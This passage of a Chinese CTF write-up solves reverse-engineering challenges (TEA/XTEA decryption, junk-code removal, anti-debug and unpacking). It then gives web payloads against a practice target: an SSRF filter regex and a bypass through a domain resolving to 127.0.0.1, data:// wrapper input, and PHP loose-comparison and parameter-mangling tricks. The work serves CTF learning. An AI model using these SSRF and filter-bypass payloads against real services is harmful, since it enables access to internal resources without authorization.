nZhbHVlIjoiZmFrZX5+IiwicmF3IjoiXCJmYWtlfn5cIiJ9XSwib3B0aW9uYWwiOmZhbHNlfSwicHJvcGVydHkiOnsidHlwZSI6IklkZW50aWZpZXIiLCJzdGFydCI6MjA1LCJlbmQiOjIxMiwibmFtZSI6InJlcGxhY2UifSwiY29tcHV0ZWQiOmZhbHNlLCJvcHRpb25hbCI6ZmFsc2V9LCJhcmd1bWVudHMiOlt7InR5cGUiOiJMaXRlcmFsIiwic3RhcnQiOjIxMywiZW5kIjoyMTcsInZhbHVlIjp7fSwicmF3IjoiLyAvZyIsInJlZ2V4Ijp7InBhdHRlcm4iOiIgIiwiZmxhZ3MiOiJnIn19LHsidHlwZSI6IkxpdGVyYWwiLCJzdGFydCI6MjE5LCJlbmQiOjIyMiwidmFsdWUiOiIsIiwicmF3IjoiJywnIn1dLCJvcHRpb25hbCI6ZmFsc2V9XSwib3B0aW9uYWwiOmZhbHNlfX1dfSwicHJvcGVydHkiOnsidHlwZSI6IklkZW50aWZpZXIiLCJzdGFydCI6MjI2LCJlbmQiOjIzMSwibmFtZSI6InNsaWNlIn0sImNvbXB1dGVkIjpmYWxzZSwib3B0aW9uYWwiOmZhbHNlfSwiYXJndW1lbnRzIjpbeyJ0eXBlIjoiTGl0ZXJhbCIsInN0YXJ0IjoyMzIsImVuZCI6MjMzLCJ2YWx1ZSI6MCwicmF3IjoiMCJ9LHsidHlwZSI6IkxpdGVyYWwiLCJzdGFydCI6MjM0LCJlbmQiOjIzNiwidmFsdWUiOjE2LCJyYXciOiIxNiJ9XSwib3B0aW9uYWwiOmZhbHNlfX1dfX19fV19fX1dLCJzb3VyY2VUeXBlIjoic2NyaXB0In0=','base64').toString())))

输出结果如下

1
2
3
4
5
6
7
8
9
() => {
const koffi = require('koffi');//一个普通的loadlibrary
const lib = koffi.load('mydll.dll');
const func = lib.func('char* Output(char* input)');
tmp = {};
tmp.__proto__.toString = () => {
return [...JSON.parse(func('fake~~').replace(/ /g, ','))].slice(0, 16);//一个普通的原型链污染
};
};

然后分析dll(根目录下的mydll.dll)
对应的Output函数
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// main.Output
__int8 *__golang main_Output(__int8 *input)
{
__int64 v1; // r14
__int128 v2; // xmm15
void *v3; // rax
retval_3AE7B1440 v; // [rsp+24h] [rbp-69Ch] BYREF
_OWORD a[104]; // [rsp+38h] [rbp-688h] BYREF
string v7; // 0:rax.8,8:rbx.8
_slice_interface_ v8; // 0:rax.8,8:rbx.8,16:rcx.8

if ( (unsigned __int64)&a[4] + 8 <= *(_QWORD *)(v1 + 16) )
{
runtime_morestack_noctxt();
JUMPOUT(0x3AE7B257ALL);
}
memset(&a[1], 0, 0x670uLL);
*(_QWORD *)&a[1] = "Dragon Knight";
*((_QWORD *)&a[1] + 1) = 13LL;
main_sha1PadMessage((main_SHA1Context *)&a[1]);
main_sha1ProcessMessageBlock((main_SHA1Context *)&a[1]);
v = main_sha1_digest((main_SHA1Context *)&a[1]);
a[0] = v2;
v3 = runtime_convTnoptr((runtime__type *)&RTYPE__20_uint8, &v);
*(_QWORD *)&a[0] = &RTYPE__20_uint8;
*((_QWORD *)&a[0] + 1) = v3;
v8.array = (interface_ *)a;
v8.len = 1LL;
v8.cap = 1LL;
v7 = fmt_Sprintln(v8);
return main__Cfunc_CString(v7);
}

实际上是个固定输出的sha1,sha1的输入为”Dragon Knight”
输出即为0f0d105e8ec0eb28e43dfff700c32fe145949c5c(实际是个字节数组),同时通过slice取的其前16字节污染Object原型的toString元素
通过toString("never gonna give you up")将被污染的0f0d105e8ec0eb28e43dfff700c32fe1发送给index.js
再看index.js
base64语句实际上就是这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(event, arg) => {
c = CryptoJS.AES.encrypt(arg, k3y, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.ZeroPadding
});
if (c.toString() == 'wPUqm+0VU9uX0knpKIWxFilCSO6tae50LTUi0U41Tag=') {
dialog.showMessageBox({
title: '正确\uFF01',
message: 'right!'
});
} else {
dialog.showMessageBox({
title: '错误\uFF01',
message: 'NO!!!!!'
});
}
};

密文就是wPUqm+0VU9uX0knpKIWxFilCSO6tae50LTUi0U41Tag=而key就是0f0d105e8ec0eb28e43dfff700c32fe1 加密方式AES-ECB-NoPadding
image.png
另一种做法
将app.asar的导出文件全部放在resources目录下的app目录(自己新建)
更改index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ipcMain.on('k3y',(event,argk)=>{
var k3y=CryptoJS.lib.WordArray.create(new Uint8Array(argk))
ipcMain.on('flag',(event,arg)=>{
func=(event, arg) => {
dialog.showMessageBox({
title:"abc",
message:CryptoJS.AES.decrypt(
'wPUqm+0VU9uX0knpKIWxFilCSO6tae50LTUi0U41Tag=',k3y,{
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.ZeroPadding
}).toString(CryptoJS.enc.Utf8)})
};
func(event,arg);
})
})

也能达成直接爆flag的效果
image.png

flower_tea

考点:花指令去除,tea算法
观察main函数:
主函数的大概是这样。
image.png
如果要调试,要先把第一个函数nop掉(实际上并不用)
这里先看encode函数,点开后是爆红的,所以先解花指令
image.png
这个是一个简单的jmp花指令,把后面的jmp nop掉,然后可以看到第一部分。
这时最上面还是有标红
在汇编界面看看哪里还有花
image.png
这里有一个奇怪的call:
逻辑是:call完之后把ret的值+0xC然后返回
把这一部分按u解除,在加0xC后的位置再反编译
image.png
所以ret之后就会到pop的位置
把中间这一段全部nop,然后把整个函数u,然后c,再浏览一下函数,中间有一个怪jmp,删掉
image.png
然后再p,得到解完花的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
__int64 __fastcall encode(__int64 a1, __int64 a2)
{
__int64 v2; // rcx
int v3; // eax
bool v4; // zf
int v5; // eax
int v7; // [rsp+2Ch] [rbp-34h]
int v8; // [rsp+30h] [rbp-30h]
unsigned int i; // [rsp+34h] [rbp-2Ch]
unsigned int v10; // [rsp+38h] [rbp-28h]
unsigned int v11; // [rsp+3Ch] [rbp-24h]
unsigned int v12; // [rsp+40h] [rbp-20h]
int v13; // [rsp+44h] [rbp-1Ch]
_BYTE v15[12]; // [rsp+54h] [rbp-Ch]

*(_QWORD *)&v15[4] = a1;
*(_DWORD *)v15 = 0x9E3779B9;
v8 = 9;
v10 = 0;
v11 = *(_DWORD *)(a1 + 56);
do
{
v10 -= 0x61C88647;
v7 = (v10 >> 2) & 3;
for ( i = 0; ; ++i )
{
v2 = 14i64;
if ( i >= 0xE )
break;
v12 = *(_DWORD *)(*(_QWORD *)&v15[4] + 4i64 * (i + 1));
v3 = *(_DWORD *)(*(_QWORD *)&v15[4] + 4i64 * i)
+ (((v11 ^ *(_DWORD *)(a2 + 4i64 * (v7 ^ i & 3))) + (v12 ^ v10)) ^ (((16 * v11) ^ (v12 >> 3))
+ ((4 * v12) ^ (v11 >> 5))));
*(_DWORD *)(*(_QWORD *)&v15[4] + 4i64 * i) = v3;
v11 = v3;
}
v4 = **(_QWORD **)&v15[4] == 0xEi64;
**(_QWORD **)&v15[4] ^= 0xEui64;
if ( v4 )
{
v2 = *(_QWORD *)v15;
**(_QWORD **)&v15[4] += *(_QWORD *)v15;
}
**(_QWORD **)&v15[4] ^= v2;
v5 = *(_DWORD *)(*(_QWORD *)&v15[4] + 56i64)
+ (((v11 ^ *(_DWORD *)(a2 + 4i64 * (v7 ^ i & 3))) + (**(_DWORD **)&v15[4] ^ v10)) ^ (((16 * v11) ^ (**(_DWORD **)&v15[4] >> 3))
+ ((4 * **(_DWORD **)&v15[4]) ^ (v11 >> 5))));
*(_DWORD *)(*(_QWORD *)&v15[4] + 56i64) = v5;
v11 = v5;
--v8;
}
while ( v8 );
v13 = 60;
while ( v13 != 1 )
{
--v13;
if ( *(unsigned __int8 *)(*(_QWORD *)&v15[4] + v13) != (byte_7FF7A5187000[v13 + 1] ^ 0x23) )
return 0;
}
return 1;
}

这个的特征很明显是xxtea,并且没有魔改,网上直接搜脚本
exp:(需要用clang)
(网上的脚本https://www.cnblogs.com/zpchcbd/p/15974293.html)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}


int main()
{
unsigned char fakefalg[99] = { 0xff, 0xef, 0x79, 0xbc, 0xda, 0x6c, 0xc9,
0xb1, 0x24, 0x90, 0x89, 0x5d, 0x99,
0x42, 0xe1, 0x15, 0xc1, 0x1b, 0x2a,
0x5a, 0x9f, 0x90, 0xe0, 0x5f, 0xe9,
0x74, 0x9d, 0x44, 0x0d, 0x56, 0xfd,
0x51, 0x7e, 0x34, 0x5a, 0xc5, 0x3a,
0x5e, 0x24, 0xbc, 0xe1, 0x40, 0x0d,
0x17, 0x68, 0xfc, 0xcc, 0x09, 0x5b,
0xff, 0xc9, 0x45, 0x19, 0xb6, 0xc9,
0x0a, 0x5e, 0xd9, 0x03, 0xb2, 0x48 };
for (int i = 0; i < 61; ++i) {
fakefalg[i] ^= 0x23;
}
uint32_t key[4] = { 0x1234,0x2341,0x3412,0x4123 };
btea((unsigned*)(fakefalg + 1), -15, key);
printf("解密后的数据:%s\n", (char*)fakefalg);
return 0;
}

得到假flag:

1
DRKCTF{Sorry.There_is_no_more_flower_tea.Please_try_again!!}

很明显,这个不是真flag,这说明:
动态调试的时候和正常的时候运行的逻辑不一样
第一时间会想到这个可能是smc或者hook
所以先查看encode的交叉引用。
于是找到这个函数:
image.png
可以看到上层函数
修改了encode中的前几个字节用ret的方法返回到sub_140012A0中
image.png
这里的第一个是反调试,在x64下,调试标志位在PEB表偏移0x2的位置,通过获取gs寄存器找到peb表的位置:
readsqword(0x62)得到调试标志位并判断当前进程是否在调试
image.png
block是单纯地得到对应的两个函数地址
get_virtual_protect中,通过异或把virtualprotect函数名隐藏并通过搜索它在kernel32.dll中位置返回函数地址
image.png
通过上面的分析,可以得出我们需要查看sub_140012A0的内容,这里才是真正的加密函数
打开,还是花QAQ
汇编中,可以看到函数后段全是一个指令+一个jmp
由于汇编不是很好看,改成流程图看奇怪的地方。
image.png
可以猜测:如果一个地方有一块代码,并且有连续jmp,这里可能是人工加的花
那么就先看一下那个很远的环和上面一排没有入口的块
1
image.png
这里能看到push和pop,所以从push进入花,从pop离开花,可以看出可以这样还原
2
image.png
这里有一个call,尝试跟着call走,它下一步修改了返回地址,减去5A
即:140001460
转换一下这里的指令
image.png
所以把call nop了就好
image.png
3
image.png
nop之后
然后全部u,c,p还原函数
image.png
这里又可以看到上面的一个奇怪return,看汇编可以发现还是一个花
image.png
直接把call到retn去掉(除了shl)
这是一个变体tea,尝试化简这个函数
image.png
写脚本直接解
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include<stdio.h>
#include<fcntl.h>
#include<stdarg.h>
#include<stdint.h>
#include<windows.h>


void dectrueTEA(uint32_t* flag, uint32_t* key, uint32_t E) {
int i, j;
const uint32_t delta[4] = { 0x59578627 ,0xe1c49e72,0xbc24167f ,0x8c3da26b };
uint32_t e = E;
const int len = 15;
for (i = 0; i < len; i += 4) {
uint32_t* c[4] = { &flag[(len - (i + 3)) % len],&flag[(len - (i + 2)) % len],&flag[(len - (i + 1)) % len],&flag[(len - i) % len] };
for (j = 32; j >= 0; j--) {
*c[3] -= ((e ^ *c[2]) ^ (key[(j + 3) % 4] >> 2)) ^ (e << 1);
e -= delta[*c[3] % 4];

*c[2] -= ((e ^ *c[1]) ^ (key[(j + 2) % 4] << 3)) ^ (e >> 2);
e -= delta[*c[2] % 4];

*c[1] -= ((e ^ *c[0]) ^ (key[(j + 1) % 4] >> 1)) ^ (e << 4);
e -= delta[*c[1] % 4];

*c[0] -= ((e ^ *c[3]) ^ (key[j % 4] << 2)) ^ (e >> 3);
e -= delta[*c[0] % 4];
}
//printf("\n0x%x 0x%x 0x%x 0x%x\n", *c[0], *c[1], *c[2], *c[3]);
}
printf("%s", flag);
}


int main(void) {
uint32_t E = 0;
uint32_t k1[4] = { 0x1234,0x2341,0x3412,0x4123 };
uint32_t a[] = { 0x127DC4E1, 0xCBA0EC0E, 0x570EDF5B, 0x99062A35, 0x382A7E1B, 0x15E46742, 0x4E5E456F, 0x3834C1D6, 0x5EF778A5, 0xAF217212, 0xC2D79D20, 0xD5C5935F, 0xCD2F5BB, 0xC527398C, 0x5EAC6739 };
E = 0xAE58570C;
dectrueTEA(a, k1, E);
return 0;
}

Debug

先是一个upx壳,用x64dbg自带的scylla工具脱一下
image.png
然后得到dump_SYC.exe拖进ida动态分析
在main函数开始之前藏了两个IsDebuggerPresent进行反调试
image.png
之后在函数的开始和结尾部分也利用了GetTickCount函数判断程序是否执行的很慢,如果程序执行的很慢则就是在调试,退出程序
image.png
image.png
题目通过读取当前目录下的myflag.txt中的flag来检验flag,过掉反调试动调到这里可以发现被解密后的 文件名称即myflag.txt
image.png
之后进入main2函数,函数利用了SMC,解密加密代码,再对读取的flag进行加密
image.png
这里也放有检测时间间隔的反调试函数。
一种方法是过掉所有反调试,动调到SMC后面即可看到正确的程序逻辑
image.png
但是也可以看明白汇编逻辑后,手动修改回来这段SMC代码贴回去
image.png
最后一个函数就是比较函数了
image.png
加密过程很简单,取出密文写出解密脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
enc = [0xCF, 0xD9, 0xC0, 0xC8, 0xDF, 0xCD, 0x0C, 0xD2, 0x43, 0x98, 0x10, 0xC0, 0x83, 0x43, 0x9A, 0x10, 0xCD, 0x42, 0x8C, 0x4A, 0x10, 0xC8, 0x82, 0x83, 0x4A, 0x9F, 0x8C, 0xDF, 0x98, 0x42, 0x8C, 0xDF, 0x84, 0x82, 0x83, 0x46, 0x52, 0x52, 0x52, 0x0E]

for i in range(len(enc)):
tmp = enc[i]
if (tmp^0xab) > 96 and (tmp^0xab) < 123:
enc[i] ^= 0xab
enc[i] -= 32
elif (tmp^0xcd) > 64 and (tmp^0xcd) < 91:
enc[i] ^= 0xcd
enc[i] += 32
else:
enc[i] ^= 0x51
enc[i] += 30
print(chr(enc[i]), end='')

flag: DRKCTF{Y0u_Kn0w_F1a9_Con9raTu1aTion5!!!}

一起做杯下午茶吧

题目考点

基础花指令,基础反调试,tea ,xtea,vm

题解

打开题目
运行exe
image.png
image.png

第一关

爆红 发现花指令(3处花)很简单的花 直接去
image.png
tab进去 发现这道题有两部分
先解第一部分,就是一个最基础的tea加密,但是长得有点丑了,改一下名称,
image.png
最终的比较数据
image.png
注意key的反调试相关操作
image.png
正常没有调试的时候,异或的是key0和key3
所以写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdint.h>
void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], i;
uint32_t delta = 0x61C88647;
uint32_t sum = delta * (-32);
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum += delta;
}
v[0] = v0; v[1] = v1;
}
int main()
{

uint32_t enflag [4] = {0xe882d112,0xea66ea40,0xff171fde,0x2a510d08,};
uint32_t key[4] = { 0x67626463, 0x696D616E, 0x79645F65, 0x6B696C69 };
key[0] ^= 10;
key[3] ^= 10;
for (int i = 0; i < 4; i += 2)
{
decrypt(enflag + i, key);
printf("0x%x,0x%x,", enflag[i], enflag[i + 1]);
}
printf("\n%s",enflag);
return 0;
}

第一部分密钥,这个会运用到第二部分的密钥
put_some_sugar!!

第二关

通过check找到最终的密文
image.png
进入加密的主要部分
image.png
进去看可以看出来是vm题型,有相关的函数和opcode
image.png
image.png
可以看出来规律 0xF开头的是定义的不同函数,根据vm做题经验,我们直接自动化把这个opcode一行一行列出来,然后就是翻译他每个函数的意义了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
unsigned char vm_code[] = { 
0xf0,0xe0,0x05,0x4D,
0xf0,0xe0,0x04,0x00,
0xf0,0xe0,0x03,0x00,
0xf3,0xcc,
0xf0,0xe0,0x06,0x01,
0xf9,0xe0,0x00,0x00,
0xf0,0xe0,0x06,0x05,
0xf5,0x00,0x06,
0xf0,0xe1,0x01,0x00,
0xf0,0xe0,0x06,0x01,
0xf9,0xe0,0x00,0x00,
0xf0,0xe0,0x06,0x06,
0xf6,0x00,0x06,
0xf7,0x01,0x00,
0xf0,0xe0,0x06,0x01,
0xf9,0xe0,0x00,0x00,
0xf1,0x00,0x01,
0xf0,0xe1,0x07,0x00 ,
0xf0,0xe1,0x00,0x04,
0xf0,0xe0,0x06,0x03,
0xf8,0x06,0x00,
0xf9,0xe0,0x00,0x01,

0xf1,0x00,0x04,
0xf7,0x07,0x00,
0xf0,0xe0,0x06,0x00,
0xf9,0xe0,0x00,0x00,
0xf1,0x00,0x07,
0xf0,0xe0,0x06,0x00,
0xf9,0xe1,0x00,0x00,
0xf0,0xe0,0x06,0x00,
0xf9,0xe0,0x02,0x02,
0xf2,0x04,0x02,
0xf0,0xe0,0x06,0x00,
0xf9,0xe0,0x00,0x00,
0xf0,0xe0,0x06,0x05,
0xf5,0x00,0x06,
0xf0,0xe1,0x01,0x00,
0xf0,0xe0,0x06,0x00,
0xf9,0xe0,0x00,0x00,
0xf0,0xe0,0x06,0x06,
0xf6,0x00,0x06,
0xf7,0x01,0x00,
0xf0,0xe0,0x06,0x00,
0xf9,0xe0,0x00,0x00,
0xf1,0x00,0x01,
0xf0,0xe1,0x07,0x00,
0xf0,0xe1,0x00,0x04,
0xf0,0xe0,0x06,0x07,
0xf6,0x00,0x06,
0xf0,0xe0,0x06,0x03,
0xf8,0x06,0x00,
0xf9,0xe0,0x00,0x01,
0xf1,0x00,0x04,
0xf7,0x07,0x00,
0xf0,0xe0,0x06,0x01,
0xf9,0xe0,0x00,0x00,
0xf1,0x00,0x07,
0xf0,0xe0,0x06,0x01,
0xf9,0xe1,0x00,0x00,
0xf0,0xe0,0x06,0x01,
0xf1,0x03,0x06,
0xfa,0x03,0x05,
0xf4,0xd4,
0xfb};

F0 中 不难看出有两种操作,一个是E0 一个是E1
先去分析这个vm的相关储存结构是怎么构成的
根据不同函数的共同参数a1,并且都在最后加了一定的数值,结合opcode,判断出a1就是栈指针eip
image.png
image.png
结合第一条机器码语句
0xf0,0xe0,0x05,0x4D,
这里选择了 f0 e0 然后一个小数5 一个大数0X4D,大胆猜测这个就是MOV指令,把0x4D的值存到了5寄存器中
谨慎验证 动调
image.png
v1[0]现在指向了F0 那么顺延下去,v1[1]就是E0 进行了类型的选择,v[2]v[3]进行了数据的储存,验证成功,去看别的函数
image.png
这个v2赋值的数据,我们步步跟进,可以分析出是存储寄存器的地址
image.png
image.png
这里存了0
我们直观去看opcode 不太容易分析出 我们的加密的数据到底在哪,这就涉及另一个函数了
在这个函数中涉及了新的数据(我重命名为data_address)我们跟进去看
image.png
竟然存着我们输入的数据sugar和flag[0](flag0是我们在外层函数中,发现了类似tea加密的数据循环存储形式,推断出他是进去加密的flag[0],flag[1]结构)
image.png
image.png
image.png
第三个unknown跟进,发现是114514,感觉是delta,
这个三个部分分别占据了data_address的1 2 3位,找一句执行0XF9的语句进行大胆分析
0xf9,0xe0,0x00,0x00,
选择e0方式,两个0,第一个0代表了寄存器型号的选择,第二个0代表了data_address中 三个地址的选择,这里明显就是选择了flag,然后将值存入了0寄存器中,
后面的eip[6]是干啥的,明显是以flag第一位为索引,去看具体取数组中的第几位,跟进上一个语句
0xf0,0xe0,0x06,0x01, mov了一个1进6寄存器,这里就是说取了flag+1指针所指向的值 即flag[1]
image.png
一些加减乘除位移异或的函数分析就不做具体分析了,jmp和cmp的汇编有经验的师傅们应该也很容易识别出
最后的函数命名如下
image.png
我们就可以依据这个写出汇编,思路其实就是一个XTEA的加密(看出XTEA因为其中有一句对于key取位的操作)
delta和密文密钥我们都有了,注意这里的循环次数进行了魔改是4D,原opcode的注释呈上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
unsigned char vm_code[] = { 
0xf0,0xe0,0x05,0x4D, //存rounds进r6 r6代表rounds 基本不会变的
0xf0,0xe0,0x04,0x00, //存sum进r5 r5代表sum
0xf0,0xe0,0x03,0x00, //存i进r4 (这三个固定的值)

0xf3,0xcc, //jump到for循环
0xf0,0xe0,0x06,0x01, //temp临时存了0x01
0xf9,0xe0,0x00,0x00, //取了flag中的第一个数(目前的v1)
0xf0,0xe0,0x06,0x05, //temp临时存值0x05
0xf5,0x00,0x06, //shl操作
0xf0,0xe1,0x01,0x00, //位操作完成的值给到r2中
0xf0,0xe0,0x06,0x01,
0xf9,0xe0,0x00,0x00,
0xf0,0xe0,0x06,0x06,
0xf6,0x00,0x06, //shr操作
0xf7,0x01,0x00, //异或之后的值存在了寄存器r2中
0xf0,0xe0,0x06,0x01,
0xf9,0xe0,0x00,0x00, //又把v1存在了r1中
0xf1,0x00,0x01, //把r1和r2相加 实现了 (((v1 >> 5) ^ (v1 >> 6)) + v1) 这段数据在r1中
0xf0,0xe1,0x07,0x00 , //先放在临时储存的地方
//现在的问题,怎么把算好的这部分数据存到一个地方。
0xf0,0xe1,0x00,0x04, //把sum的值移动到r1中
0xf0,0xe0,0x06,0x03, //存到temp中3
0xf8,0x06,0x00, //进行与运算,存到r1中 这个就是我们现在的索引值

0xf9,0xe0,0x00,0x01, //使用lea 这里将key[sum&3]存到r1中
0xf1,0x00,0x04, //再次把sum加上r1 实现了(key[sum & 3] + sum)
//开始异或最后一步
0xf7,0x07,0x00, //把两者异或的结果存储在store寄存器中 实现了语句 (((v1 >> 5) ^ (16 * v1)) + v1) ^ (key[sum & 3] + sum);
//把上面store的值加上v0 下次循环还要用
0xf0,0xe0,0x06,0x00, //temp存0
0xf9,0xe0,0x00,0x00, //索引flag[0]放进r1
0xf1,0x00,0x07,//全新的flag[0]存在了r1中,再使用lea把数值存到flag[0]里

0xf0,0xe0,0x06,0x00,
0xf9,0xe1,0x00,0x00, //这里成功把全新的v0存到了flag[0]的位置,以便于下一步的引用

// sum -= 1640531527; 实现这一步

//存一下delta试试 delta只会在里面用到一次
0xf0,0xe0,0x06,0x00, //temp寄存器先保存一下取第几位的值
0xf9,0xe0,0x02,0x02, //现在寄存器r3存储了delta的值
0xf2,0x04,0x02, //实现了sum-=delta

//最后一步 v1 += (((v0 >> 5) ^ (16 * v0)) + v0) ^ (key[(sum >> 11) & 3] + sum);

0xf0,0xe0,0x06,0x00, //temp临时存了0x00
0xf9,0xe0,0x00,0x00, //取了flag中的第一个数(目前的v0)
0xf0,0xe0,0x06,0x05, //temp临时存值0x05
0xf5,0x00,0x06, //shl操作
0xf0,0xe1,0x01,0x00, //位操作完成的值给到r2中
0xf0,0xe0,0x06,0x00,
0xf9,0xe0,0x00,0x00,
0xf0,0xe0,0x06,0x06,
0xf6,0x00,0x06, //shr操作
0xf7,0x01,0x00, //异或之后的值存在了寄存器r2中
0xf0,0xe0,0x06,0x00,
0xf9,0xe0,0x00,0x00, //又把v0存在了r1中
0xf1,0x00,0x01, //把r1和r2相加 实现了 (((v0 >> 5) ^ (v0 >> 6)) + v0) 这段数据在r1中
0xf0,0xe1,0x07,0x00, //先放在临时储存的地方

0xf0,0xe1,0x00,0x04, //把sum的值移动到r1中 进行右移7的操作
0xf0,0xe0,0x06,0x07,
0xf6,0x00,0x06, //进行了sum>>7的操作,存在了r1中
0xf0,0xe0,0x06,0x03, //存到temp中3
0xf8,0x06,0x00, //进行与运算,存到r1中 这个就是我们现在的索引值

0xf9,0xe0,0x00,0x01, //使用lea 这里将key[(sum>>7)&3]存到r1中
0xf1,0x00,0x04, //再次把sum加上r1 实现了(key[sum & 3] + sum)
//开始异或最后一步
0xf7,0x07,0x00, //把两者异或的结果存储在store寄存器中 实现了语句 (((v1 >> 5) ^ (16 * v1)) + v1) ^ (key[sum & 3] + sum);
//把上面store的值加上v0 下次循环还要用
0xf0,0xe0,0x06,0x01, //temp存1
0xf9,0xe0,0x00,0x00, //索引flag[1]放进r1
0xf1,0x00,0x07,//全新的flag[1]存在了r1中,再使用lea把数值存到flag[1]里

0xf0,0xe0,0x06,0x01,
0xf9,0xe1,0x00,0x00,

0xf0,0xe0,0x06,0x01,
0xf1,0x03,0x06, //i++操作
0xfa,0x03,0x05, //cmp比较rounds和i for循环
0xf4,0xd4,
0xfb};

写出XTEA解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdint.h>

void decipher(unsigned int num_rounds, uint32_t* v, uint32_t const* key) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x114514, sum = delta * (-77);
for (i = 0; i < num_rounds; i++) {
v1 -= (((v0 << 5) ^ (v0 >> 6)) + v0) ^ (sum + key[(sum >> 7) & 3]);
sum += delta;
v0 -= (((v1 << 5) ^ (v1 >> 6)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0; v[1] = v1;
}

int main()
{

unsigned char* key = "put_some_sugar!!";
uint32_t const* k = key;
uint32_t v[] = { 0xd5bf7cb6, 0x1cc08fa5, 0x80d48de8, 0x6c3f5f0, 0x7e484457, 0xbfaeb3a6, 0xb44a2a23, 0x3ebb5b15, };
unsigned int r = 0x4D;
for (int i = 0; i < 8; i += 2)
{
decipher(r, v + i, k);
}
printf("解密后的数据:\n");
for (int i = 0; i < 8; i++)
{

printf("0x%x, ", v[i]);
}
printf("\n");
printf(" %s", v);
return 0;


}

image.png
得到最终的flag
DRKCTF{Y0ur_t3a_te4sT_NoT_b4d!!}

Web

穿梭隐藏的密钥

源码发现路由
访问路由/c3s4f.php
参数爆破,得到参数shell
需要本地才能实现文件读取
开始ssrf伪造
但是过滤了gopher,127,@,0等,以下是正则

1
'/ftp|ftps|gopher|telnet|dict|file|ldap|@|127|0|[|localhost|https/i'

这里可以用302跳转或者域名解析IP绕过

1
2
sudo.cc指向IP地址127.0.0.1。A记录就是域名指向ip地址,然后可以通过A记录转向访问
类似的还有safe.taobao.com,114.taobao.com,test.xiaodi8.com等

故构造如下:

1
?shell=http://sudo.cc/

发现回到了首页,跨越成功
但是要求是秘密只给127.0.0.1
猜测为secret.php(或者扫目录)

1
?shell=http://sudo.cc/secret.php

拿到key ,这里的key值是DrKn的参数和cha11eng3.php路由
challenge1:
需要绕过file_get_contents()函数
用data://伪协议绕过
所以第一部分payload:

1
/cha11eng3.php?DrKn=data://text/plain,MSIBLG

challenge2:
关键代码如下

1
hash("md4", $damei) == $damei

传入的值被md4加密后跟原来的相等
利用php的松散性绕过,也就是0e

1
2
3
4
初始值:  0e001233333333333334557778889
md4 hash : 0e434041524824285414215559233446
初始值: 0e00000111222333333666788888889
md4 hash : 0e434041524824285414215559233446

php非法传参
在给参数传值时,如果参数名中存在非法字符,比如空格和点,则参数名中的点和空格等非法字符都会被替换成下划线。
并且,在PHP8之前,如果参数中出现中括号[,那么中括号会被转换成下划线_,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。
第二部分payload:

1
/cha11eng3.php?DrKn=data://text/plain,MSIBLG&M[ore.8=0e001233333333333334557778889

challenge3:
md5针对强类型逻辑比较绕过,同弱类型逻辑比较中利用php特性MD5处理数组默认返回Null进行绕过手法
(Null类型强(弱)等于Null类型)
第三部分payload:

1
2
3
4
5
6
get传参:
/cha11eng3.php?DrKn=data://text/plain,MSIBLG&M[ore.8=0e001233333333333334557778889
post传参:
wtf[]=11&mC[]=1
或者
直接post传参

EzLogin

